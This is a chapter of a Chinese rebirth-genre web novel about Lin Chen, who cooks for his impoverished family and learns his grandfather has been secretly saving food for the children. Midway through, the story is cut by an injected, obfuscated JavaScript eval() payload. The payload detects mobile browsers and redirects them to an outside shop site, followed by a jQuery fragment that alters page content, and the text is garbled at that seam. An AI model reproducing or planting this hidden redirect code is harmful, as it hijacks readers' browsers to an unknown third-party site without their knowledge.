林晨从空间出来的时候，天还没亮。
炕上，念念翻了个身，小手从被窝里伸出来，搭在他胳膊上。母亲在炕梢睡着，呼吸很轻，缝纫机踏板靠在墙边，机头上搭着一块蓝布——是昨天没做完的那件。
东屋传来熙熙的翻身声。
林晨躺了一会儿，听见公鸡叫了头遍。
他轻轻把念念的手放回被窝，起身穿衣服。父亲的旧褂子还搭在椅背上，他拿过来套上，袖子照样挽了两道。
灶房里冷锅冷灶。水壶还在灶台上，林晨拔开木塞闻了闻，没有怪味。灵泉水兑进去，跟白水一样，看不出来，也闻不出来。
他拿了葫芦瓢，舀了一瓢，喝了一口。
还是微微的甜。
林晨把水壶晃了晃，放回原处，开始生火。
柴火是昨天他劈的，堆在灶台边上。他拿了几根细枝条塞进灶膛，划了根火柴——火柴头受潮，划了两下才着。火苗舔着枝条，噼啪响。
他把锅端上，添了水，从粮缸里舀了两碗玉米面。粮缸快见底了，玉米面只剩薄薄一层。林晨把缸倾斜着舀，才凑够两碗。
红薯还有几根，他拿了两根，洗干净，切块，丢进锅里。
灶膛的火旺起来，锅里的水咕嘟咕嘟冒泡。玉米面撒进去，拿长筷子搅，不能停，停了就起疙瘩。红薯块在锅里翻滚，慢慢变软。
林晨前世很少做饭。重生回来，却像天生会干这些活一样，手不慌，心里有数。
“晨儿？”
母亲的声音从身后传来。
林晨回头，看见母亲站在灶房门口，披着外衣，头发散着，眼睛里还有睡意。
“你咋起这么早？”她走过来，看见锅里的糊糊已经快熬好了，愣了一下，“你做的？”
“嗯。”林晨拿勺子搅了搅糊糊，“妈你再睡会儿，好了我叫你。”
母亲没走。她站到灶台边，拿过勺子，自己搅。她的手比林晨稳，勺子转圈，糊糊不粘锅。
“你下地累，早上多睡会儿。”
“我不累。”
母亲没再说什么。
天亮了。
熙熙起来，打了水洗脸。念念被从被窝里捞出来，头发翘着，眼睛眯成一条缝，被熙熙按在脸盆前，凉水一激，打了个哆嗦。
“凉！”念念喊。
“凉啥，春天了。”熙熙拿毛巾给她擦脸，念念躲，两人闹了一阵。
林晨把糊糊端上桌。
四碗。他舀的时候特意看了，每碗都一样稠。
“妈，你喝这碗。”他把一碗推到母亲面前。
母亲看了一眼，端起碗，喝了一口。
“今天糊糊谁熬的？”她问。
“我。”
“咸了。”母亲说。
林晨也喝了一口。不咸。但他没吭声。
熙熙尝了尝：“不咸啊。”
“你哥第一次熬，能喝就不错了。”母亲说着，又喝了一大口。
念念已经抱着碗喝上了。她今天喝得快，咕咚咕咚，半碗下去了。
“念念慢点。”熙熙说。
“饿了。”念念头都不抬。
林晨看着念念喝糊糊，心里算着日子。才喝了两天灵泉水，念念的气色就好转了。再过一个月，应该能长点肉。
吃完饭，林晨把碗收了，准备下地。
“晨儿。”爷爷的声音从东屋传出来。
林晨走过去。
爷爷已经起来了，坐在炕沿上，腿耷拉着，脚够不着地。他今天没穿鞋，脚底板全是茧，裂着口子，贴了胶布。
“爷，你腿还疼不？”
“不疼。”爷爷说着，咳嗽了两声，“你过来。”
林晨走过去。
爷爷从枕头底下摸出一个东西，塞进他手里。
是一个窝头。
杂面的，比拳头小，捏得紧紧的，表面有一层锅巴。已经凉了，硬邦邦的。
“爷，你——”
“你拿着。”爷爷的声音闷闷的，不看他，“我吃过了。”
林晨攥着窝头，指尖发凉。
他看着爷爷的脸。爷爷瘦了，颧骨凸出来，眼窝凹进去。腮帮子上的皮松了，往下耷拉着。
“爷，你早上吃了吗？”
“吃了。”
“吃的啥？”
爷爷没回答，把鞋穿上，站起来，佝偻着腰往外走。
“我下地了。”他说。
林晨站在东屋门口，看着爷爷的背影。
爷爷走路腿还有点跛，右腿不敢使劲。他走到院子里，弯腰拿起靠在墙边的锄头，锄柄上缠着麻绳，防滑的，缠了好几道。
奶奶从灶房出来，端着半碗糊糊。
“老头子，你还没喝完——”
“不喝了。”爷爷扛着锄头走了。
奶奶端着那半碗糊糊，站在院子里，看着他走出院门。
她站了一会儿，转身把糊糊倒进鸡窝旁边的小陶盆里。陶盆里有昨天剩的糊糊渣，几只麻雀在盆沿上跳，被她一赶，扑棱棱飞走了。
林晨走过去：“奶奶，爷早上到底吃了没？”
奶奶看了他一眼，没说话。
她走进东屋，掀开褥子。
褥子底下是两个红薯，拳头大，皮有点干了。
放在昨天那个位置。
林晨昨天看见奶奶塞红薯，以为她是给自己留的。
奶奶把红薯拿出来，用手擦了擦上面的灰，塞进林晨手里。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508781|202911||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“你爷省下来的。”她说，“他腿疼，走不动道，队上给他排了轻省活，工分少。他怕你们不够吃，每天省一口。”
林晨攥着红薯，嗓子眼发硬。
“你爷嘴笨，不会说。”奶奶又把那窝头的事提了一句，“那窝头是他昨天的口粮，没舍得吃。你别跟他说我知道。”
林晨把红薯放回褥子底下。
“奶奶，你留着。我有吃的。”
“你有啥？你下地挣那几分，够干啥？”奶奶瞪了他一眼，又把红薯塞给他，“拿着。给你妹吃。”
林晨没再推。
他出了东屋，把两个红薯放进灶房的篮子里。
母亲正在刷锅，看了一眼，没说话。
林晨扛着锄头出院门。
念念追出来，光着脚，踩在泥地上，喊：“锅锅！锅锅早点回来！”
“回去穿鞋。”林晨回头喊她。
念念不听，站在门槛上，朝他挥手。
林晨转过身，加快脚步往村口走。
老榆树下已经聚了人。李叔蹲在树根上抽旱烟，看见他招招手。
“今天还跟我。”
“好。”
林晨站到李叔旁边，把锄头杵在地上，等着分派活计。
他脑子里还在想那半个窝头。
爷爷省下来的。昨天省一个，今天省半个，明天省一口。日积月累，从牙缝里刮出来的。
他以前不懂。
前世他不懂爷爷为什么总蹲在门槛上抽烟，不说话，一碗糊糊喝半天。
现在他懂了。
爷爷不是不想说话。爷爷是把说话的力气省下来，把粮食省下来，留给他和妹妹。
林晨攥紧锄柄，手心那层刚结痂的水泡硌着木头，微微发疼。
口袋里的玉佩又开始发烫了。
不是那种突然的、剧烈的烫，而是一点一点地升温，像有人在里面添了一把柴。
“走了。”李叔站起来，把烟袋锅在鞋底上磕了磕，“南坡，今天翻第三块地。”
林晨跟上去。
走了几步，他回头看了一眼院门口。
念念还站在门槛上，光着脚，朝他挥手。
“锅锅——回来给我带花——”
“知道了。”林晨喊回去。
他转过头，加快脚步。
心里那个念头越来越重了：不只是吃饱穿暖，不只是护住妹妹。
他要让爷爷不用再省窝头。
让母亲不用再喝清汤。
让念念一年四季穿上新衣裳。
让熙熙坐在亮堂堂的教室里读书，而不是蹲在场院上晒粮。
这些事，这辈子都要办到。
一件都不能少。